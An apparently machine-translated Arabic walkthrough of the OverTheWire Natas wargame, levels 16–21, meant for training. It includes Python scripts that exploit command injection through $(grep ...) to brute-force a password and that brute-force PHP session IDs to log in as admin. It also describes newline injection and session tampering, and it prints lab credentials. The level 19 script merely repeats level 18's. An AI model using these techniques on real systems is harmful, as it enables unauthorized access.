
في هذه المقالة ، سنتعامل مع تشغيل بعض هويات WEB باستخدام المناورات
Natas كمثال. كل مستوى لديه حق الوصول إلى كلمة مرور المستوى التالي. يتم تخزين جميع كلمات المرور أيضًا في / etc / natas_webpass / files. على سبيل المثال ، يتم تخزين كلمة المرور الخاصة بـ natas5 في الملف / etc / natas_webpass / natas5 وهي للقراءة فقط للمستخدمين natas4 و natas5.
الأجزاء الماضية:
الجزء 1 والجزء 2 .
المعلومات التنظيميةخاصةً لأولئك الذين يرغبون في تعلم شيء جديد وتطويره في أي من مجالات أمن المعلومات والحاسوب ، سأكتب وأتحدث عن الفئات التالية:
- PWN.
- التشفير (التشفير) ؛
- تقنيات الشبكات (الشبكة) ؛
- عكس (الهندسة العكسية) ؛
- إخفاء المعلومات (Stegano) ؛
- بحث واستغلال مواطن الضعف WEB.
بالإضافة إلى ذلك ، سوف أشارك تجربتي في الطب الشرعي للكمبيوتر ، وتحليل البرامج الضارة والبرامج الثابتة ، والهجمات على الشبكات اللاسلكية وشبكات المناطق المحلية ، وإجراء عمليات pentests واستغلال الكتابة.
حتى تتمكن من معرفة المقالات الجديدة والبرامج والمعلومات الأخرى ، أنشأت
قناة في Telegram ومجموعة لمناقشة أي مشاكل في مجال التصنيف الدولي للأمراض. أيضًا ، سأدرس شخصيًا طلباتك الشخصية وأسئلتك واقتراحاتك وتوصياتك
شخصيًا وسأجيب على الجميع .
يتم توفير جميع المعلومات للأغراض التعليمية فقط. لا يتحمل مؤلف هذا المستند أية مسؤولية عن أي ضرر يلحق بشخص ما نتيجة استخدام المعرفة والأساليب التي تم الحصول عليها نتيجة لدراسة هذا المستند.
المستوى 16
استنادا إلى شفرة المصدر ، يتم تصفية جميع أحرف الخدمة ، ونقل "الإلتصاق" من ملفين أمر مستحيل ، حيث يتم نقل السلسلة في علامات اقتباس.

باستخدام إنشاءات مثل $ (cmd) ، يمكنك التحكم في إخراج "المفتاح".

الفكرة هي:
- إذا كان إنشاء ملف grep -i "key" file.txt ، يكون المفتاح عبارة عن سلسلة فارغة ، فسيتم عرض الملف بأكمله.
- نظرًا لوجود سطر واحد فقط في الملف بكلمة المرور ، يمكننا التحكم في الإخراج الخاص به.
- بتمرير التعبير العادي إلى grep داخل بنية $ (cmd) ، فإننا إما سنقوم بإخراج سطر بكلمة مرور (عندما نخمن بداية كلمة المرور) في المعلمة -i ولن يتم إخراج أي أسطر من dictionary.txt ، أو بدلاً من سطر مع ستكون كلمة المرور سلسلة فارغة وسيتم عرض ملف Dictionary.txt بأكمله.
import httplib import urllib import re import base64 charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789" count = 0 headers = {} conn = httplib.HTTPConnection("natas16.natas.labs.overthewire.org") headers["Authorization"] = "Basic bmF0YXMxNjpXYUlIRWFjajYzd25OSUJST0hlcWkzcDl0MG01bmhtaA==" count = 0 passwd = "" while count != 32: for i in range(len(charset)): needle = urllib.quote_plus("$(grep -E ^" + passwd + charset[i] +".* /etc/natas_webpass/natas17)Afr") conn.request("GET", "/?needle=" + needle + "&submit=Search", "", headers) r1 = conn.getresponse() data = r1.read() if(data.count("African") == 0): passwd += charset[i:i+1] print(str(count) + " : " + str(passwd)) count += 1 break conn.close() print("Password : " + passwd)

حصلت على كلمة المرور
المستوى 17
نستخدم sqlmap وفقًا للسيناريو السابق (من الجزء الثاني).



هناك كلمة مرور
المستوى 18
دعنا نحلل شفرة المصدر.

تتمثل الخطوة الأولى في التحقق من تعيين ملفات تعريف الارتباط في المستعرض. (Function my_session_start ()).

نظرًا لعدم وجود شيء للتحكم في ملفات تعريف الارتباط في المهمة ، فهذا يعني أنه يجب تعيينها ، أي أن الوظيفة ستعود كاذبة وفي رمز الجذر سنذهب إلى الفرع الآخر. التحقق من ملء حقول اسم المستخدم وكلمة المرور. تقبل الدالة session_id () رقمًا عشوائيًا في النطاق من 1 إلى 640 (وهو أمر غريب جدًا عن سبب هذا التقييد) ويقوم بإنشاء إعدادات التكوين للدالة session_start ().


بعد ذلك ، يتم التحقق من اسم المستخدم = "المسؤول". إذا قمنا بتسجيل الدخول كمشرف ، فنحن على علم بذلك ونعطي كلمة مرور للمستوى التالي.

فكرة الحل: يتم تعريف نطاق معرف للمستخدمين. سنكتب ملف القوة الغاشمة التي ستذهب إلى الصفحة ذات المعرف في النطاق من 1 إلى 640.
import requests from requests.auth import HTTPBasicAuth import binascii host = 'http://natas19.natas.labs.overthewire.org/' auth = HTTPBasicAuth('natas19', '4IwIrekcuZlA9OsjOkoUtwU6lhokCPYs') params = {'username':'admin', 'password':'admin'} for i in range(0, 640): print(i) phpsessid = binascii.hexlify(str(i)+"-admin") cookies={'PHPSESSID':phpsessid} r = requests.get(host, params=params, cookies=cookies, auth=auth) if('Password' in r.content): print(r.content) break

نحصل على كلمة المرور بمعرف = 119.
المستوى 19
منذ رمز هو نفسه ، والفكرة هي نفسها. دعونا نرى ملف تعريف الارتباط.

سلسلة عرافة مشفرة. سنقوم فك شفرة.

يبقى فقط لتغيير الرمز.
import requests from requests.auth import HTTPBasicAuth import binascii host = 'http://natas19.natas.labs.overthewire.org/' auth = HTTPBasicAuth('natas19', '4IwIrekcuZlA9OsjOkoUtwU6lhokCPYs') params = {'username':'admin', 'password':'admin'} for i in range(0, 640): print(i) phpsessid = binascii.hexlify(str(i)+"-admin") cookies={'PHPSESSID':phpsessid} r = requests.get(host, params=params, cookies=cookies, auth=auth) if('Password' in r.content): print(r.content) break

هناك كلمة مرور
المستوى 20
بعد تحليل شفرة المصدر ، يمكننا أن نفترض أن وظيفتين تستحق الاهتمام.
تقوم دالة mywrite () بكتابة البيانات على كل سطر على هيئة key_value. ولكن يتم تحديد المفتاح بشكل عشوائي ، ويتم نقل القيمة من حقل الإدخال.

تمر الدالة myread () عبر كافة الخطوط وتقرأ البيانات المفصولة بمسافة (المفتاح والقيمة).

سنرى كلمة المرور فقط في حالة ظهور السطر "admin 1" في مثل هذا الملف. الحقيقة هي أنه يمكننا تجاوز منطق التطبيق وكتابة العديد من الأسطر التي نريدها. للقيام بذلك ، يجب أن نرسل سطرًا من النموذج "Value0_TranslationStrings_Key1_Value1 ، إلخ"

بعد كتابة القيمة إلى الملف ، نقوم بإعادة تحميل الصفحة بحيث تتم قراءتها من الملف.

نحن نرفع كلمة المرور
المستوى 21
يتم تزويدنا بنسختين من الموقع. الحقيقة هي أن ملفات تعريف الارتباط وجلسة متاحة للنقل بين صفحات مختلفة في نفس المجال. ندرس شفرة المصدر للموقع الثاني. يتم تعيين جميع المعلمات المقبولة في الجلسة. عن طريق القياس مع المستويات السابقة ، يجب عليك تعيين admin => 1.

ما عليك سوى إضافة معلمة مسؤول جديدة بقيمة 1 ، وإعادة تحميل الصفحة ووضع ملفات تعريف الارتباط هذه على الصفحة الرئيسية.


نحن نرفع كلمة المرور
أن تستمر. يمكنك الانضمام إلينا على
Telegram .